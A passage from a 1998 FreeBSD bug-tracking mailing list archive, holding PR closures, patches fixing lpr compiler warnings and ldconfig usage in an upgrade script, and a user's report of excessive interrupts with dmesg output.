Drosehn = gad@eclipse.its.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 12:30:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA05823 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 12:30:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA05601; Thu, 10 Sep 1998 12:29:44 -0700 (PDT) (envelope-from dt@FreeBSD.org) From: Dmitrij Tejblum Received: (from dt@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA21625; Thu, 10 Sep 1998 12:29:42 -0700 (PDT) Date: Thu, 10 Sep 1998 12:29:42 -0700 (PDT) Message-Id: <199809101929.MAA21625@freefall.freebsd.org> To: sepotvin@videotron.ca, dt@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/6872 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Wrong csu lib built when setting BINFORMAT=elf State-Changed-From-To: open-closed State-Changed-By: dt State-Changed-When: Thu Sep 10 12:29:03 PDT 1998 State-Changed-Why: This has been fixed recently. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 12:54:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA10337 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 12:54:17 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA09947; Thu, 10 Sep 1998 12:53:00 -0700 (PDT) (envelope-from dt@FreeBSD.org) From: Dmitrij Tejblum Received: (from dt@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA22298; Thu, 10 Sep 1998 12:52:55 -0700 (PDT) Date: Thu, 10 Sep 1998 12:52:55 -0700 (PDT) Message-Id: <199809101952.MAA22298@freefall.freebsd.org> To: wb@vestein.arb-phys.uni-dortmund.de, dt@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/7677 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: make world 3.0 fails on r/o src-tree State-Changed-From-To: open-closed State-Changed-By: dt State-Changed-When: Thu Sep 10 12:51:16 PDT 1998 State-Changed-Why: Fixed by eivind in src/gnu/lib/libgmp/Makefile rev.1.18. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 13:10:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA13663 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 13:10:56 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA13522; Thu, 10 Sep 1998 13:10:16 -0700 (PDT) (envelope-from dt@FreeBSD.org) From: Dmitrij Tejblum Received: (from dt@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA23050; Thu, 10 Sep 1998 13:10:15 -0700 (PDT) Date: Thu, 10 Sep 1998 13:10:15 -0700 (PDT) Message-Id: <199809102010.NAA23050@freefall.freebsd.org> To: francisco@natserv.com, dt@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/7852 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: sysinstall leaves CD mounted as /dist State-Changed-From-To: open-closed State-Changed-By: dt State-Changed-When: Thu Sep 10 13:09:04 PDT 1998 State-Changed-Why: Fixed by jkh in src/release/sysinstall/cdrom.c rev.1.42 (I think) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 13:15:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA14876 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 13:15:45 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA14866; Thu, 10 Sep 1998 13:15:30 -0700 (PDT) (envelope-from dt@FreeBSD.org) From: Dmitrij Tejblum Received: (from dt@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA23347; Thu, 10 Sep 1998 13:15:29 -0700 (PDT) Date: Thu, 10 Sep 1998 13:15:29 -0700 (PDT) Message-Id: <199809102015.NAA23347@freefall.freebsd.org> To: placej@ctcdist.com, dt@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: misc/7884 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: sysinstall fails to release CD-ROM State-Changed-From-To: open-closed State-Changed-By: dt State-Changed-When: Thu Sep 10 13:13:10 PDT 1998 State-Changed-Why: Already fixed by jkh in src/release/sysinstall/cdrom.c rev. 1.42. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 13:20:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA16043 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 13:20:15 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA15946 for ; Thu, 10 Sep 1998 13:20:05 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA23476; Thu, 10 Sep 1998 13:20:01 -0700 (PDT) Received: from tim.xenologics.com (tim.xenologics.com [194.77.5.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA13891 for ; Thu, 10 Sep 1998 13:11:47 -0700 (PDT) (envelope-from seggers@semyam.dinoco.de) Received: (from uucp@localhost) by tim.xenologics.com (8.8.5/8.8.8) with UUCP id WAA23657 for FreeBSD-gnats-submit@freebsd.org; Thu, 10 Sep 1998 22:08:08 +0200 (MET DST) Received: (from seggers@localhost) by semyam.dinoco.de (8.9.1/8.8.8) id WAA28434; Thu, 10 Sep 1998 22:05:02 +0200 (CEST) (envelope-from seggers) Message-Id: <199809102005.WAA28434@semyam.dinoco.de> Date: Thu, 10 Sep 1998 22:05:02 +0200 (CEST) From: Stefan Eggers Reply-To: seggers@semyam.dinoco.de To: FreeBSD-gnats-submit@FreeBSD.ORG Cc: seggers@semyam.dinoco.de X-Send-Pr-Version: 3.2 Subject: bin/7886: lpr code cleanup Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7886 >Category: bin >Synopsis: lpr code cleanup >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Thu Sep 10 13:20:01 PDT 1998 >Last-Modified: >Originator: Stefan Eggers >Organization: none >Release: FreeBSD 3.0-CURRENT i386 >Environment: -current from Thursday (September 8th, 1998). The system has the standard system GCC and in addition to that egcs from July 15th, 1998 installed. >Description: The code didn't compile w/o warnings with egcs and as part of the lpr code used "-Werror" these were fatal. This was caused by some variable declarations of the form "register i;" which egcs warns about and according to the GCC docs I read GCC 2.8 will do the same on this. In addition to that I noticed some minor bugs (msearch some- times returned int while was declared as returning void in another source file) and declarations scattered among the source files where they could have been in a common include file. I also expanded the use of the CWARNFLAGS variable a bit and made it more strict. >How-To-Repeat: Just read the source and have fun with it. :-( >Fix: The patch I append compiles cleanly with the above mentioned compilers. Real world tests I didn't do, yet as I am waiting for something to print in order not to waste ink and paper. I think it is still worth a look or I wouldn't have committed it. Index: Makefile.inc =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/Makefile.inc,v retrieving revision 1.3 diff -u -r1.3 Makefile.inc --- Makefile.inc 1998/03/07 09:47:52 1.3 +++ Makefile.inc 1998/08/24 17:51:30 @@ -1,6 +1,6 @@ # $Id: Makefile.inc,v 1.3 1998/03/07 09:47:52 bde Exp $ -CWARNFLAGS= -Werror -Wall -Wnested-externs -Wmissing-prototypes -Wno-unused +CWARNFLAGS= -Werror -Wall -Wnested-externs -Wmissing-prototypes -Wno-unused -Wredundant-decls -Wstrict-prototypes .if exists(${.OBJDIR}/../common_source) LIBLPR= ${.OBJDIR}/../common_source/liblpr.a Index: chkprintcap/Makefile =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/chkprintcap/Makefile,v retrieving revision 1.5 diff -u -r1.5 Makefile --- Makefile 1998/06/11 03:51:34 1.5 +++ Makefile 1998/08/24 16:44:56 @@ -2,7 +2,7 @@ PROG= chkprintcap MAN8= chkprintcap.8 -CFLAGS+=-I${.CURDIR}/../common_source -Wall +CFLAGS+=-I${.CURDIR}/../common_source ${CWARNFLAGS} .PATH: ${.CURDIR}/../common_source DPADD= ${LIBLPR} LDADD= ${LIBLPR} Index: common_source/Makefile =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/common_source/Makefile,v retrieving revision 1.3 diff -u -r1.3 Makefile --- Makefile 1998/06/11 03:53:23 1.3 +++ Makefile 1998/08/24 17:58:28 @@ -11,8 +11,7 @@ NOMAN= noman NOPROFILE= noprofile NOPIC= nopic -CFLAGS+= -Wall -Wnested-externs -Wmissing-prototypes \ - -Wstrict-prototypes -Wredundant-decls +CFLAGS+= ${CWARNFLAGS} install: Index: common_source/common.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/common_source/common.c,v retrieving revision 1.10 diff -u -r1.10 common.c --- common.c 1997/12/02 20:45:18 1.10 +++ common.c 1998/08/24 16:35:58 @@ -79,7 +79,7 @@ { register int linel = 0; register char *lp = line; - register c; + register int c; while ((c = getc(cfp)) != '\n' && linel+1 < sizeof(line)) { if (c == EOF) Index: lpc/cmds.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpc/cmds.c,v retrieving revision 1.11 diff -u -r1.11 cmds.c --- cmds.c 1997/12/02 20:45:37 1.11 +++ cmds.c 1998/08/24 17:42:45 @@ -70,8 +70,6 @@ #include "extern.h" #include "pathnames.h" -extern uid_t uid, euid; - static void abortpr __P((struct printer *, int)); static int doarg __P((char *)); static int doselect __P((struct dirent *)); Index: lpc/extern.h =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpc/extern.h,v retrieving revision 1.2 diff -u -r1.2 extern.h --- extern.h 1997/12/02 20:45:41 1.2 +++ extern.h 1998/08/24 17:54:23 @@ -35,6 +35,7 @@ */ +#include #include @@ -57,3 +58,4 @@ extern int NCMDS; extern struct cmd cmdtab[]; +extern uid_t uid, euid; Index: lpc/lpc.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpc/lpc.c,v retrieving revision 1.7 diff -u -r1.7 lpc.c --- lpc.c 1998/03/22 20:19:27 1.7 +++ lpc.c 1998/09/10 19:43:52 @@ -74,16 +74,17 @@ #define MAX_CMDLINE 200 #define MAX_MARGV 20 -int fromatty; +static int fromatty; -char cmdline[MAX_CMDLINE]; -int margc; -char *margv[MAX_MARGV]; -int top; -uid_t uid, euid; +static char cmdline[MAX_CMDLINE]; +static int margc; +static char *margv[MAX_MARGV]; +static int top; +uid_t uid, euid; -jmp_buf toplevel; +static jmp_buf toplevel; +int main __P((int, char *[])); static void cmdscanner __P((int)); static struct cmd *getcmd __P((char *)); static void intr __P((int)); Index: lpd/Makefile =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpd/Makefile,v retrieving revision 1.8 diff -u -r1.8 Makefile --- Makefile 1998/06/11 03:52:41 1.8 +++ Makefile 1998/08/24 16:47:18 @@ -2,7 +2,7 @@ # $Id: Makefile,v 1.8 1998/06/11 03:52:41 jb Exp $ PROG= lpd -CFLAGS+=-I${.CURDIR}/../common_source -Wall +CFLAGS+=-I${.CURDIR}/../common_source ${CWARNFLAGS} MAN8= lpd.8 SRCS= lpd.c printjob.c recvjob.c lpdchar.c modes.c DPADD= ${LIBLPR} Index: lpd/extern.h =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpd/extern.h,v retrieving revision 1.3 diff -u -r1.3 extern.h --- extern.h 1997/12/02 20:45:53 1.3 +++ extern.h 1998/08/24 18:21:33 @@ -40,9 +40,11 @@ extern char fromb[]; struct printer; +struct termios; __BEGIN_DECLS void printjob __P((struct printer *pp)); void startprinting __P((const char *printer)); void recvjob __P((const char *printer)); +int msearch __P((char *str, struct termios *ip)); __END_DECLS Index: lpd/lpd.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpd/lpd.c,v retrieving revision 1.9 diff -u -r1.9 lpd.c --- lpd.c 1997/12/02 20:45:54 1.9 +++ lpd.c 1998/09/10 19:45:56 @@ -106,6 +106,7 @@ int lflag; /* log requests flag */ int from_remote; /* from remote socket */ +int main __P((int, char **)); static void reapchild __P((int)); static void mcleanup __P((int)); static void doit __P((void)); Index: lpd/modes.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpd/modes.c,v retrieving revision 1.4 diff -u -r1.4 modes.c --- modes.c 1997/12/02 20:45:56 1.4 +++ modes.c 1998/08/24 18:23:19 @@ -42,6 +42,8 @@ #include #include #include +#include "lp.local.h" +#include "extern.h" struct modes { char *name; Index: lpd/printjob.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpd/printjob.c,v retrieving revision 1.19 diff -u -r1.19 printjob.c --- printjob.c 1998/08/21 18:08:46 1.19 +++ printjob.c 1998/08/24 18:21:53 @@ -141,8 +141,6 @@ static void sendmail __P((struct printer *pp, char *user, int bombed)); static void setty __P((const struct printer *pp)); -void msearch __P((char *, struct termios *)); - void printjob(pp) struct printer *pp; @@ -1150,7 +1148,7 @@ register char *p; int c; { - register scnwidth; + register int scnwidth; for (scnwidth = WIDTH; --scnwidth;) { key <<= 1; @@ -1168,7 +1166,7 @@ char *scsp; { register char *strp; - register nchrs, j; + register int nchrs, j; char outbuf[LINELEN+1], *sp, c, cc; int d, scnhgt; @@ -1596,7 +1594,7 @@ char *s = strdup(pp->mode_set), *tmp; while ((tmp = strsep(&s, ",")) != NULL) { - msearch(tmp, &ttybuf); + (void) msearch(tmp, &ttybuf); } } if (pp->mode_set != 0 || pp->baud_rate > 0) { Index: lpq/lpq.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpq/lpq.c,v retrieving revision 1.5 diff -u -r1.5 lpq.c --- lpq.c 1997/12/02 20:46:04 1.5 +++ lpq.c 1998/08/24 17:58:00 @@ -79,6 +79,7 @@ static int ckqueue __P((const struct printer *)); static void usage __P((void)); +int main __P((int, char **)); int main(argc, argv) Index: lpr/lpr.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lpr/lpr.c,v retrieving revision 1.24 diff -u -r1.24 lpr.c --- lpr.c 1998/04/17 17:25:49 1.24 +++ lpr.c 1998/09/10 19:49:17 @@ -550,7 +550,7 @@ cleanup(signo) int signo; { - register i; + register int i; signal(SIGHUP, SIG_IGN); signal(SIGINT, SIG_IGN); @@ -610,6 +610,9 @@ printf("%s: cannot open %s\n", name, file); return(-1); } + /* + * XXX Shall we add a similar test for ELF? + */ if (read(fd, &execb, sizeof(execb)) == sizeof(execb) && !N_BADMAG(execb)) { printf("%s: %s is an executable program", name, file); Index: lprm/lprm.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/lprm/lprm.c,v retrieving revision 1.4 diff -u -r1.4 lprm.c --- lprm.c 1997/12/02 20:46:15 1.4 +++ lprm.c 1998/09/10 19:49:44 @@ -82,6 +82,7 @@ static char luser[16]; /* buffer for person */ +int main __P((int, char *[])); static void usage __P((void)); int Index: pac/Makefile =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/pac/Makefile,v retrieving revision 1.5 diff -u -r1.5 Makefile --- Makefile 1998/03/07 09:48:14 1.5 +++ Makefile 1998/08/24 16:51:17 @@ -2,7 +2,7 @@ # $Id: Makefile,v 1.5 1998/03/07 09:48:14 bde Exp $ PROG= pac -CFLAGS+=-I${.CURDIR}/../common_source +CFLAGS+=-I${.CURDIR}/../common_source ${CWARNFLAGS} MAN8= pac.8 .PATH: ${.CURDIR}/../common_source DPADD= ${LIBLPR} Index: pac/pac.c =================================================================== RCS file: /usr2/FreeBSD/CVSROOT/src/usr.sbin/lpr/pac/pac.c,v retrieving revision 1.8 diff -u -r1.8 pac.c --- pac.c 1997/12/02 20:46:22 1.8 +++ pac.c 1998/09/10 19:51:14 @@ -56,9 +56,11 @@ #include #include +#include #include #include #include +#include #include "lp.h" #include "lp.local.h" @@ -94,6 +96,7 @@ static struct hent *hashtab[HSHSIZE]; /* Hash table proper */ +int main __P((int, char **)); static void account __P((FILE *)); static int any __P((int, char [])); static int chkprinter __P((char *)); >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 19:10:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA20869 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 19:10:11 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA20805 for ; Thu, 10 Sep 1998 19:10:04 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id TAA02516; Thu, 10 Sep 1998 19:10:03 -0700 (PDT) Received: from mail.scsn.net (scsn.net [206.25.246.12]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA20300 for ; Thu, 10 Sep 1998 19:05:15 -0700 (PDT) (envelope-from dmaddox@scsn.net) Received: from rhiannon.scsn.net ([209.12.57.79]) by mail.scsn.net (Post.Office MTA v3.1.2 release (PO205-101c) ID# 0-41950U6000L1100S0) with ESMTP id AAA176 for ; Thu, 10 Sep 1998 21:56:26 -0400 Received: (from root@localhost) by rhiannon.scsn.net (8.9.1/8.9.1) id WAA14662; Thu, 10 Sep 1998 22:05:32 GMT (envelope-from root) Message-Id: <199809102205.WAA14662@rhiannon.scsn.net> Date: Thu, 10 Sep 1998 22:05:32 GMT From: dmaddox@scsn.net (Donald J. Maddox) Reply-To: dmaddox@scsn.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: misc/7889: move_aout_libs.sh doesn't use ldconfig correctly. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7889 >Category: misc >Synopsis: move_aout_libs.sh doesn't use ldconfig correctly. >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Sep 10 19:10:01 PDT 1998 >Last-Modified: >Originator: Donald J. Maddox >Organization: >Release: FreeBSD 3.0-CURRENT i386 >Environment: FreeBSD rhiannon.scsn.net 3.0-CURRENT FreeBSD 3.0-CURRENT #0: Mon Sep 7 13:22:29 GMT 1998 root@rhiannon.scsn.net:/usr/src/sys/compile/RHIANNON i386 >Description: Recent changes to the ldconfig command require that the -aout switch be used when configuring the search path for aout libs. The src/tools/tools/upgrade/move_aout_libs.sh script moves libs, then rebuilds the lib search path using ldconfig; however, it uses ldconfig without the -aout switch, and on systems where ELF is the default objformat, this only succeeds in building a bogus ELF lib search path, and doesn't affect the aout lib search path at all. >How-To-Repeat: # sh /usr/tools/tools/upgrade/move_aout_libs.sh /usr/X11R6/lib /usr/local/lib >Fix: I'm not sure if this tool is ever intended to be used on non-current systems or not... If it is then a few conditionals will need to be added to this patch: --- /usr/src/tools/tools/upgrade/move_aout_libs.sh Wed Sep 9 05:28:18 1998 +++ move_aout_libs.sh Thu Sep 10 21:45:33 1998 @@ -32,7 +32,7 @@ else echo "Creating directory $dir/aout" mkdir $dir/aout - ldconfig -m $dir/aout + ldconfig -aout -m $dir/aout fi fname=${file#$dir/} if test -f $dir/aout/$fname; then @@ -63,7 +63,7 @@ if test $answer = "y"; then echo Overwriting $dir/aout/$fname with $file mv $file $dir/aout/$fname - ldconfig -R + ldconfig -aout -R else echo "You need to move $file out of $dir because that's an elf directory" fi @@ -71,7 +71,7 @@ else echo Move $fname from $dir to $dir/aout mv $file $dir/aout/$fname - ldconfig -R + ldconfig -aout -R fi return } >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Sep 10 22:43:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA12341 for freebsd-bugs-outgoing; Thu, 10 Sep 1998 22:43:45 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail4.aracnet.com (mail4.aracnet.com [205.159.88.46]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA12336 for ; Thu, 10 Sep 1998 22:43:43 -0700 (PDT) (envelope-from ben@ben.com) Received: from saturn.ben.com (0@max3-33.aracnet.com [209.95.33.83]) by mail4.aracnet.com (8.9.1/8.9.0) with ESMTP id WAA07928 for ; Thu, 10 Sep 1998 22:43:49 -0700 Received: from localhost (7009@localhost [127.0.0.1]) by saturn.ben.com (8.8.7/8.6.12) with SMTP id WAA18535 for ; Thu, 10 Sep 1998 22:41:29 -0700 (PDT) Message-Id: <199809110541.WAA18535@saturn.ben.com> To: bugs@FreeBSD.ORG Subject: freebsd 2.2.7 on P2 machine getting lots of interrupts? Date: Thu, 10 Sep 1998 22:41:20 -0700 From: Ben Jackson Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I just built a new Pentium II machine and installed FreeBSD 2.2.7 on it (planning to upgrade my P120 from 2.2.6 in a few days). Anyway, I noticed my osview showing INT time constantly, which I confirmed with iostat. While totally idle (including totally quiet network), the machine uses 2-3% of its cpu in interrupt code. I haven't seen this behavior before. I'm assuming some card is setup incorrectly and is generating excessive interrupts. This is an ASUS P2B motherboard. The only card not configured under BSD is a Soundblaster PCI128 (haven't yet figured out if there's a driver). dmesg output included. Some observations: heavy network traffic doesn't even make a blip in the interrupt rate (it's only running 10bT). heavy graphics activity doesn't increase int time nothing connected to any serial, parallel, usb ports Any other configuration info that's useful? If this is unexpected and someone wants to fix it I can go ahead and instrument a kernel to keep track of what interrupt routines are running... --Ben Copyright (c) 1992-1998 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.7-RELEASE #0: Thu Sep 10 21:10:38 PDT 1998 root@myname.my.domain:/usr/src/sys/compile/PULSAR CPU: Pentium II (quarter-micron) (350.80-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x651 Stepping=1 Features=0x183f9ff,,MMX,> real memory = 134217728 (131072K bytes) avail memory = 129380352 (126348K bytes) Probing for devices on PCI bus 0: chip0 rev 2 on pci0:0:0 chip1 rev 2 on pci0:1:0 chip2 rev 2 on pci0:4:0 chip3 rev 1 on pci0:4:1 chip4 rev 1 int d irq 5 on pci0:4:2 chip5 rev 2 on pci0:4:3 pci0:10: vendor=0x1274, device=0x5000, class=multimedia (audio) int a irq 15 [no driver assigned] de0 rev 34 int a irq 10 on pci0:11:0 de0: 21140A [10-100Mb/s] pass 2.2 de0: address 00:40:05:a3:de:81 vga0 rev 38 int a irq 11 on pci0:12:0 Probing for devices on PCI bus 1: Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface lpt1 not found at 0xffffffff mse0 not found at 0x23c psm0 at 0x60-0x64 irq 12 on motherboard psm0: model Generic PS/2 mouse, device ID 0 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in wdc0 at 0x1f0-0x1f7 irq 14 on isa wdc0: unit 0 (wd0): wd0: 4125MB (8448300 sectors), 8940 cyls, 15 heads, 63 S/T, 512 B/S wdc0: unit 1 (atapi): , removable, accel, dma, iordis wcd0: 5512Kb/sec, 256Kb cache, audio play, 16 volume levels, ejectable tray wcd0: no disc inside, unlocked wdc1 not found at 0x170 aha0 not found at 0x330 wt0 not found at 0x300 mcd0 not found at 0x300 matcdc0 not found at 0x230 scd0 not found at 0x230 npx0 flags 0x1 on motherboard npx0: INT 16 interface ccd0-3: Concatenated disk drivers de0: enabling 10baseT port To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 00:31:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA25352 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 00:31:19 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.15.68.22]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA25275; Fri, 11 Sep 1998 00:30:52 -0700 (PDT) (envelope-from bde@godzilla.zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.8.7) id RAA32704; Fri, 11 Sep 1998 17:30:41 +1000 Date: Fri, 11 Sep 1998 17:30:41 +1000 From: Bruce Evans Message-Id: <199809110730.RAA32704@godzilla.zeta.org.au> To: dt@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, wb@vestein.arb-phys.uni-dortmund.de Subject: Re: conf/7677 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Synopsis: make world 3.0 fails on r/o src-tree > >State-Changed-From-To: open-closed >State-Changed-By: dt >State-Changed-When: Thu Sep 10 12:51:16 PDT 1998 >State-Changed-Why: >Fixed by eivind in src/gnu/lib/libgmp/Makefile rev.1.18. It was fixed in -current long before the PR was submitted. It seems to be still broken in 2.2.7. The PR seems to actually be for 2.2.7. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 01:20:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA02304 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 01:20:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA02226 for ; Fri, 11 Sep 1998 01:20:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA13025; Fri, 11 Sep 1998 01:20:01 -0700 (PDT) Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA01241 for ; Fri, 11 Sep 1998 01:14:07 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id BAA11831 for ; Fri, 11 Sep 1998 01:13:57 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from w3.gv.tsc.tdk.com (gdonl@w3.gv.tsc.tdk.com [192.168.240.195]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id BAA18498 for ; Fri, 11 Sep 1998 01:13:56 -0700 (PDT) Received: (from gdonl@localhost) by w3.gv.tsc.tdk.com (8.8.8/8.8.5) id BAA16024; Fri, 11 Sep 1998 01:13:55 -0700 (PDT) Message-Id: <199809110813.BAA16024@w3.gv.tsc.tdk.com> Date: Fri, 11 Sep 1998 01:13:55 -0700 (PDT) From: Don Lewis Reply-To: gdonl@tsc.tdk.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/7892: [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible Sender: owner-freebsd-bugs@FreeBSD.ORG 